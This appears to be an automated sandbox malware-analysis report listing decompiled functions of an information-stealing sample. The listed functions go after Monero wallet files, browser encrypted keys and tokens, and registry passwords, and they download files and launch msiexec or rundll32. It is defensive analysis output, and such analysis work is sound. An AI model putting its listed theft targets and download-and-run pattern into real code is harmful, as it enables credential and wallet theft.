C:\Windows\system32\rundll32.exe, xrefs: 00643332
/passive, xrefs: 0064345B

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 63401d8df6736aa1fcaf0994b67f6e6985048e9b0b535f390b33478e82e3d067
Instruction ID: cd37d483dfea07126c597eb30c7bdda657617bc67b54dcbcba24a3c87c87d8ba
Opcode Fuzzy Hash: 63401d8df6736aa1fcaf0994b67f6e6985048e9b0b535f390b33478e82e3d067
Instruction Fuzzy Hash: 6612FC71850108AAEB59EBE0DC92FEDB73AAF14300F50415DF50666191EF346B4ACFAA

Function 006452C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 00636280: InternetOpenA.WININET(00650DFE,00000001,00000000,00000000,00000000), ref: 006362E1
Part of subcall function 00636280: StrCmpCA.SHLWAPI(?,014507B0), ref: 00636303
Part of subcall function 00636280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00636335
Part of subcall function 00636280: HttpOpenRequestA.WININET(00000000,GET,?,0144FDD8,00000000,00000000,00400100,00000000), ref: 00636385
Part of subcall function 00636280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006363BF
Part of subcall function 00636280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006363D1

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00645318
lstrlen.KERNEL32(00000000), ref: 0064532F

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00645364
lstrlen.KERNEL32(00000000), ref: 00645383
lstrlen.KERNEL32(00000000), ref: 006453AE

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Strings

ERROR, xrefs: 006454A9
ERROR, xrefs: 006453B9
ERROR, xrefs: 0064546F
ERROR, xrefs: 00645432
ERROR, xrefs: 0064530A

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 7ed1381226f2e2d1b70fd176c87768fabd4d07888d8257debcd2bc3e7a4e4dc6
Instruction ID: 76e974f2972750f151d33788e739e88f095dc5384d0f954a8ff9d3075835ac86
Opcode Fuzzy Hash: 7ed1381226f2e2d1b70fd176c87768fabd4d07888d8257debcd2bc3e7a4e4dc6
Instruction Fuzzy Hash: 0A512C70950108AFEB58FFA0C996AED377BEF11304F50401CF80A5A592EF346B46CBA6

Function 006412D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: f131577186b836b25f0884f14027744e07734f36ce646becda3a20721b81749e
Instruction ID: 1abfbe5ccc069f72284c62cda135f22393d3dfc07467cb0a0c7114e0dd21d87d
Opcode Fuzzy Hash: f131577186b836b25f0884f14027744e07734f36ce646becda3a20721b81749e
Instruction Fuzzy Hash: A2C1A4B5940109ABCB58EF60DC89FEE777ABF54304F00459CE50A67241DA70EAC5CFA5

Function 00644280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00648E0B

lstrcat.KERNEL32(?,00000000), ref: 006442EC
lstrcat.KERNEL32(?,014503C0), ref: 0064430B
lstrcat.KERNEL32(?,?), ref: 0064431F
lstrcat.KERNEL32(?,0144DF10), ref: 00644333

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 00648D90: GetFileAttributesA.KERNEL32(00000000,?,00631B54,?,?,0065564C,?,?,00650E1F), ref: 00648D9F

Part of subcall function 00639CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00639D39

Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,0063148F,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(0063148F), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Part of subcall function 006493C0: GlobalAlloc.KERNEL32(00000000,006443DD,006443DD), ref: 006493D3

StrStrA.SHLWAPI(?,01450408), ref: 006443F3
GlobalFree.KERNEL32(?), ref: 00644512

Part of subcall function 00639AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nc,00000000,00000000), ref: 00639AEF
Part of subcall function 00639AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00634EEE,00000000,?), ref: 00639B01
Part of subcall function 00639AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nc,00000000,00000000), ref: 00639B2A
Part of subcall function 00639AC0: LocalFree.KERNEL32(?,?,?,?,00634EEE,00000000,?), ref: 00639B3F

lstrcat.KERNEL32(?,00000000), ref: 006444A3
StrCmpCA.SHLWAPI(?,006508D1), ref: 006444C0
lstrcat.KERNEL32(00000000,00000000), ref: 006444D2
lstrcat.KERNEL32(00000000,?), ref: 006444E5
lstrcat.KERNEL32(00000000,00650FB8), ref: 006444F4

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 95af23a9af824e58bc03f106c8372abc6ff91d1149303f1b88d457493ff5c114
Instruction ID: c46c264cae39aedbf792dbbd2dfaf37f51627d278db1ef6b27ee9631b9176154
Opcode Fuzzy Hash: 95af23a9af824e58bc03f106c8372abc6ff91d1149303f1b88d457493ff5c114
Instruction Fuzzy Hash: 757126B6900208BBDB54EBE4DC89FEE737ABB88300F044598F50997185DA74DB45CF96

Function 00631310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006312A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006312B4
Part of subcall function 006312A0: RtlAllocateHeap.NTDLL(00000000), ref: 006312BB
Part of subcall function 006312A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006312D7
Part of subcall function 006312A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006312F5
Part of subcall function 006312A0: RegCloseKey.ADVAPI32(?), ref: 006312FF

lstrcat.KERNEL32(?,00000000), ref: 0063134F
lstrlen.KERNEL32(?), ref: 0063135C
lstrcat.KERNEL32(?,.keys), ref: 00631377

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(00650E1A,0144B8B0,006505AE,?,?,006313F9,?,0000001A,00650E1A,00000000,?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00631465

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,0063148F,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(0063148F), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

DeleteFileA.KERNEL32(00000000), ref: 006314EF

Strings

.keys, xrefs: 0063136B
SOFTWARE\monero-project\monero-core, xrefs: 00631335
wallet_path, xrefs: 00631330
\Monero\wallet.keys, xrefs: 0063138D

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: b960d2b755156fb68c3b9c4ab29ef022d30a861d30dfdc42b39957b39b7d4382
Instruction ID: 446299b1cfaa527d9b96e250535cd2194b8842081d8ed40ae2985fcc0d39137e
Opcode Fuzzy Hash: b960d2b755156fb68c3b9c4ab29ef022d30a861d30dfdc42b39957b39b7d4382
Instruction Fuzzy Hash: 385146B1D501196BDB55FB60DD96BED733EEF54304F40419CB60A62082EE306B89CFAA

Function 006375D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006372D0: memset.MSVCRT ref: 00637314
Part of subcall function 006372D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0063733A
Part of subcall function 006372D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006373B1
Part of subcall function 006372D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0063740D
Part of subcall function 006372D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00637452
Part of subcall function 006372D0: HeapFree.KERNEL32(00000000), ref: 00637459

lstrcat.KERNEL32(00000000,006517FC), ref: 00637606
lstrcat.KERNEL32(00000000,00000000), ref: 00637648
lstrcat.KERNEL32(00000000, : ), ref: 0063765A
lstrcat.KERNEL32(00000000,00000000), ref: 0063768F
lstrcat.KERNEL32(00000000,00651804), ref: 006376A0
lstrcat.KERNEL32(00000000,00000000), ref: 006376D3
lstrcat.KERNEL32(00000000,00651808), ref: 006376ED
task.LIBCPMTD ref: 006376FB

Strings

: , xrefs: 0063764E

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 204bdfca54cab389222fa9c808640e579d3fbe0492e48eea10d67e509590c1c3
Instruction ID: 4c62296e68352a24aaafc58f82d3eaac415624c57bd68786e65f4a55372914c3
Opcode Fuzzy Hash: 204bdfca54cab389222fa9c808640e579d3fbe0492e48eea10d67e509590c1c3
Instruction Fuzzy Hash: 7A3170B1900109DFCB48EBE4DC5ADFF737ABB95302F144018F116A7254DA34E986CB96

Function 006372D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00637314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0063733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006373B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0063740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00637452
HeapFree.KERNEL32(00000000), ref: 00637459
task.LIBCPMTD ref: 00637555

Strings

Password, xrefs: 00637401

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 3eea008bd992d107b5be7b7dbeb3f230d53dd8c1d9cb542d47ec5fd08e9b900a
Instruction ID: d0b9508c6172a6473505fa8b696d026bf01484b13e94e5a650da0ac9c02a46a6
Opcode Fuzzy Hash: 3eea008bd992d107b5be7b7dbeb3f230d53dd8c1d9cb542d47ec5fd08e9b900a
Instruction Fuzzy Hash: D4611DB590425C9BDB24DB50CD45BDAB7B9BF44300F0081E9E689A6141DF70ABC9CFE5

Function 006360A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

InternetOpenA.WININET(00650DF7,00000001,00000000,00000000,00000000), ref: 0063610F
StrCmpCA.SHLWAPI(?,014507B0), ref: 00636147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0063618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006361B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006361DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0063620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00636249
InternetCloseHandle.WININET(?), ref: 00636253
InternetCloseHandle.WININET(00000000), ref: 00636260

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 29eaa441706e87475d21afa0f87debc6b6c2727b06f2b20b9b7978160ee217ee
Instruction ID: 972e823d7b9201fd2db9545c887226defc57c73972a1aa4a9cc7d0ebc839fe4e
Opcode Fuzzy Hash: 29eaa441706e87475d21afa0f87debc6b6c2727b06f2b20b9b7978160ee217ee
Instruction Fuzzy Hash: CA514171940218BBDB24DF90DC49BEE77BAFB44705F108098B609A71C1DB74AA85CF95

Function 0063BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

lstrlen.KERNEL32(00000000), ref: 0063BC9F

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0063BCCD
lstrlen.KERNEL32(00000000), ref: 0063BDA5
lstrlen.KERNEL32(00000000), ref: 0063BDB9

Strings

AccountTokens, xrefs: 0063BABA
AccountId, xrefs: 0063BCC4
AccountTokens, xrefs: 0063BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0063BBEB

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
